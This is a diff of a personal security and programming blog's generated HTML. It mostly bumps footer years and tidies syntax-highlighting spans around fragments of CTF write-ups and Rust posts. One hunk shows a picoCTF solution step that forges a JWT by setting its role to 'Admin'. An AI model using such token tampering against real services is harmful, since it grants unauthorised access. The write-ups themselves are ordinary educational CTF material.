||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>}
|
||||
</span></span></span><span style=display:flex><span>}
|
||||
</span></span></code></pre></div><p>we sum the values in each channel …</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> pixel <span style=color:#f92672>=</span> p.channels()
|
||||
</span></span><span style=display:flex><span> .iter()
|
||||
</span></span><span style=display:flex><span> .zip(q.channels().iter())
|
||||
@@ -67,4 +67,4 @@ compile and run the program.</p><div class=highlight><pre tabindex=0 style=color
|
||||
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/visual-cryptography class=list-tag>Visual Cryptography</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/><span>←</span><span>Kringlecon 2022 Writeup</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/><span>Treebox</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/><span>Treebox</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -170,4 +170,4 @@ picoCTF{h4un71ng_p457_17237fce}
|
||||
<a href=https://lavafroth.is-a.dev/tags/forensics class=list-tag>Forensics</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/the-sleuth-kit class=list-tag>The Sleuth Kit</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/><span>←</span><span>Bash Jail 1</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/><span>JAuth</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/><span>JAuth</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -106,4 +106,4 @@ think out of the box.</p><p>That’s all for now. I hope you learned somethi
|
||||
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/project-mana-demo/><span>←</span><span>Building an in-browser Manim clone</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/><span>A Tale of a Frugal Home Server</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/><span>A Tale of a Frugal Home Server</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -35,4 +35,4 @@ Setting the cookie to this value, we are redirected to the admin page.</p><block
|
||||
<a href=https://lavafroth.is-a.dev/tags/jwt class=list-tag>JWT</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/><span>←</span><span>Operation Oni, Operation Orchid</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/><span>Liberating 14GiB of disk space</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/><span>Liberating 14GiB of disk space</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -71,4 +71,4 @@ templates
|
||||
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/><span>←</span><span>Liberating 14GiB of disk space</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/gadgeting-in-python-jails/><span>Gadgeting in Python Jails</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/gadgeting-in-python-jails/><span>Gadgeting in Python Jails</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -85,7 +85,7 @@ We are also given the source code of the application.</p><p>Taking a look at the
|
||||
</span></span><span style=display:flex><span> )<span style=color:#f92672>?</span>;
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// tampering the payload
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> payload[<span style=color:#e6db74>"role"</span>] <span style=color:#f92672>=</span> Value::String(<span style=color:#e6db74>"Admin"</span>.into());
|
||||
</span></span></span><span style=display:flex><span> payload[<span style=color:#e6db74>"role"</span>] <span style=color:#f92672>=</span> Value::String(<span style=color:#e6db74>"Admin"</span>.into());
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> token <span style=color:#f92672>=</span> encode(header, <span style=color:#f92672>&</span>signing_key, <span style=color:#f92672>&</span>payload, algorithm)<span style=color:#f92672>?</span>;
|
||||
</span></span><span style=display:flex><span>
|
||||
@@ -122,4 +122,4 @@ We are also given the source code of the application.</p><p>Taking a look at the
|
||||
<a href=https://lavafroth.is-a.dev/tags/jwt class=list-tag>JWT</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/><span>←</span><span>Twosum</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-web-java-script-kiddie-2/><span>Java Script Kiddie 2</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-web-java-script-kiddie-2/><span>Java Script Kiddie 2</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -176,4 +176,4 @@ scanned 1 barcode symbols from 1 images in 0.03 seconds
|
||||
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-web-java-code-analysis/><span>←</span><span>Java Code Analysis!?!</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-web-some-assembly-required-3/><span>Some Assembly Required 3</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-web-some-assembly-required-3/><span>Some Assembly Required 3</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -217,14 +217,14 @@ is an integer.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;backg
|
||||
</span></span><span style=display:flex><span> <span style=color:#a6e22e>e</span>[<span style=color:#ae81ff>3</span>] <span style=color:#f92672>=</span> <span style=color:#a6e22e>a</span>;
|
||||
</span></span><span style=display:flex><span> <span style=color:#a6e22e>e</span>[<span style=color:#ae81ff>2</span>] <span style=color:#f92672>=</span> <span style=color:#a6e22e>b</span>;
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// if (eqz(e[3]:int)) goto B_a;
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> <span style=color:#66d9ef>if</span> (<span style=color:#f92672>*</span><span style=color:#a6e22e>e</span>[<span style=color:#ae81ff>3</span>] <span style=color:#f92672>==</span> <span style=color:#ae81ff>0</span>) {
|
||||
</span></span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> (<span style=color:#f92672>*</span><span style=color:#a6e22e>e</span>[<span style=color:#ae81ff>3</span>] <span style=color:#f92672>==</span> <span style=color:#ae81ff>0</span>) {
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// b[1072] = e[3];
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> <span style=color:#a6e22e>b</span>[<span style=color:#ae81ff>1072</span>] <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>;
|
||||
</span></span></span><span style=display:flex><span> <span style=color:#a6e22e>b</span>[<span style=color:#ae81ff>1072</span>] <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>;
|
||||
</span></span><span style=display:flex><span> }
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>k</span><span style=color:#f92672>:</span><span style=color:#a6e22e>ubyte_ptr</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>4</span> <span style=color:#f92672>-</span> (<span style=color:#a6e22e>e</span>[<span style=color:#ae81ff>2</span>] <span style=color:#f92672>%</span> <span style=color:#ae81ff>5</span>);
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// var l:int = k[1067];
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> <span style=color:#75715e>// e[3] = e[3] ^ (l << 24) >> 24;
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>l</span><span style=color:#f92672>:</span><span style=color:#66d9ef>byte</span> <span style=color:#f92672>=</span> <span style=color:#f92672>*</span>(<span style=color:#a6e22e>k</span> <span style=color:#f92672>+</span> <span style=color:#ae81ff>1067</span>);
|
||||
</span></span></span><span style=display:flex><span> <span style=color:#75715e>// e[3] = e[3] ^ (l << 24) >> 24;
|
||||
</span></span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>l</span><span style=color:#f92672>:</span><span style=color:#66d9ef>byte</span> <span style=color:#f92672>=</span> <span style=color:#f92672>*</span>(<span style=color:#a6e22e>k</span> <span style=color:#f92672>+</span> <span style=color:#ae81ff>1067</span>);
|
||||
</span></span><span style=display:flex><span> <span style=color:#a6e22e>e</span>[<span style=color:#ae81ff>3</span>] <span style=color:#f92672>=</span> <span style=color:#a6e22e>e</span>[<span style=color:#ae81ff>3</span>] <span style=color:#f92672>^</span> <span style=color:#a6e22e>l</span>;
|
||||
</span></span><span style=display:flex><span>}
|
||||
</span></span></code></pre></div><p>From the beginning of the file, we can infer that some encoded string is
|
||||
@@ -244,7 +244,7 @@ cargo add hex
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> key <span style=color:#f92672>=</span> hex::decode(<span style=color:#e6db74>"f1a7f007ed"</span>)<span style=color:#f92672>?</span>;
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> crib: Vec<span style=color:#f92672><</span><span style=color:#66d9ef>u8</span><span style=color:#f92672>></span> <span style=color:#f92672>=</span> hex::decode(
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// "\9dn\93\c8\b2\b9A\8b\c5\c6\dda\93\c3\c2\da?\c7\93\c1\8b1\95\93\93\8eb\c8"
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> <span style=color:#e6db74>"9d6e93c8b2b9418bc5c6dd6193c3c2da3fc793c18b319593938e62c894c9d564c096c4d9379393c2900000"</span>,
|
||||
</span></span></span><span style=display:flex><span> <span style=color:#e6db74>"9d6e93c8b2b9418bc5c6dd6193c3c2da3fc793c18b319593938e62c894c9d564c096c4d9379393c2900000"</span>,
|
||||
</span></span><span style=display:flex><span> )<span style=color:#f92672>?</span>
|
||||
</span></span><span style=display:flex><span> .into_iter()
|
||||
</span></span><span style=display:flex><span> .enumerate()
|
||||
@@ -269,4 +269,4 @@ cargo add hex
|
||||
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/webassembly class=list-tag>WebAssembly</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-web-java-script-kiddie-2/><span>←</span><span>Java Script Kiddie 2</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/><span>Kringlecon 2022 Writeup</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/><span>Kringlecon 2022 Writeup</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -46,7 +46,7 @@ we replace the binding’s command with the new command.</p><div class=highl
|
||||
were not for the tests. The commands, just like keys, must be unescaped when present
|
||||
in shorthands. This is so that we can distinguish a comma separating two
|
||||
shorthand elements or a dash representing a range from a literal comma or a dash.</p><p>Solution? Simply reuse the unescape function we used in for the keys.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#75715e>// ...
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>Rule::command_component <span style=color:#f92672>=></span> {
|
||||
</span></span></span><span style=display:flex><span>Rule::command_component <span style=color:#f92672>=></span> {
|
||||
</span></span><span style=display:flex><span> command_variants.push(unescape(component.as_str()).to_string())
|
||||
</span></span><span style=display:flex><span>}
|
||||
</span></span><span style=display:flex><span><span style=color:#75715e>// ...
|
||||
@@ -75,4 +75,4 @@ actually use SWHKD in my daily workflows. Stay tuned!</p></section><footer class
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/how-i-use-swhkd-in-my-workflow/><span>←</span><span>How I Use SWHKD in My Workflow</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/humans-suck-at-command-sanitization/><span>Humans Suck at Command Sanitization</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/humans-suck-at-command-sanitization/><span>Humans Suck at Command Sanitization</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -31,12 +31,12 @@ hashing function. Considering that the average setup
|
||||
would not wield even a thousand submodules, it’s sufficient to store the imports in a set.</p><p>We’ll create slightly separate implementations to differentiate between the root module
|
||||
and any submodules it imports. For now, let’s tackle the implementation for the submodules.</p><p>We create a method for the parser result called <code>as_import</code> for loading any of these aforementioned submodules.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>as_import</span>(input: <span style=color:#a6e22e>ParserInput</span>, seen: <span style=color:#66d9ef>&</span><span style=color:#a6e22e>mut</span> BTreeSet<span style=color:#f92672><</span>String<span style=color:#f92672>></span>) -> Result<span style=color:#f92672><</span>Self, ParseError<span style=color:#f92672>></span> {
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>}
|
||||
</span></span></span><span style=display:flex><span>}
|
||||
</span></span></code></pre></div><p>The <code>seen</code> argument is how the caller tells the callee about what import paths it has already seen.</p><p>While processing import expressions, we keep adding the imports we have seen so far to a local <code>BTreeSet</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> <span style=color:#66d9ef>mut</span> imports <span style=color:#f92672>=</span> BTreeSet::new();
|
||||
</span></span><span style=display:flex><span><span style=color:#66d9ef>for</span> decl <span style=color:#66d9ef>in</span> contents.into_inner() {
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>match</span> decl.as_rule() {
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// other rules like bindings
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> Rule::import <span style=color:#f92672>=></span> imports.extend(import_parser(decl)),
|
||||
</span></span></span><span style=display:flex><span> Rule::import <span style=color:#f92672>=></span> imports.extend(import_parser(decl)),
|
||||
</span></span><span style=display:flex><span> }
|
||||
</span></span><span style=display:flex><span>}
|
||||
</span></span></code></pre></div><p>Once all the tokens in the current config have been parsed, we can move on to adding the imports to
|
||||
@@ -70,11 +70,11 @@ call stack of import related functions.</p><p>Lastly, for the sake of backwards
|
||||
root parser result. This was the behavior present in the original parser. Note that the import
|
||||
fields in the submodules will all be empty since we popped them one by one in this loop:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>while</span> <span style=color:#66d9ef>let</span> Some(import) <span style=color:#f92672>=</span> imports.pop_first() {
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>}
|
||||
</span></span></span><span style=display:flex><span>}
|
||||
</span></span></code></pre></div><p>Okay, that’s all for now. See you soon!</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/humans-suck-at-command-sanitization/><span>←</span><span>Humans Suck at Command Sanitization</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/test-driven-development-the-pinnacle-of-engineering/><span>Test Driven Development - The Pinnacle of Engineering</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/test-driven-development-the-pinnacle-of-engineering/><span>Test Driven Development - The Pinnacle of Engineering</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -418,4 +418,4 @@ orbit.addEventListener('change', function() {
|
||||
<a href=https://lavafroth.is-a.dev/tags/3d class=list-tag>3D</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/animation class=list-tag>Animation</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/glsl class=list-tag>GLSL</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/in-search-of-the-smallest-dna-compl/><span>←</span><span>In search of the smallest DNA complement function</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-sansalpha-writeup/><span>PicoCTF SansAlpha Writeup</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-sansalpha-writeup/><span>PicoCTF SansAlpha Writeup</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -100,4 +100,4 @@ it only prints the flag when run.</p><hr><p>Let’s parse the response body
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ringzer0 class=list-tag>RingZer0</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web-parsing class=list-tag>Web Parsing</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/r0-hash-me-reloaded/><span>←</span><span>RingZer0 CTF Hash Me Reloaded</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/oh-my-god-they-killed-kenny/><span>Oh my God, they killed Kenny!</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
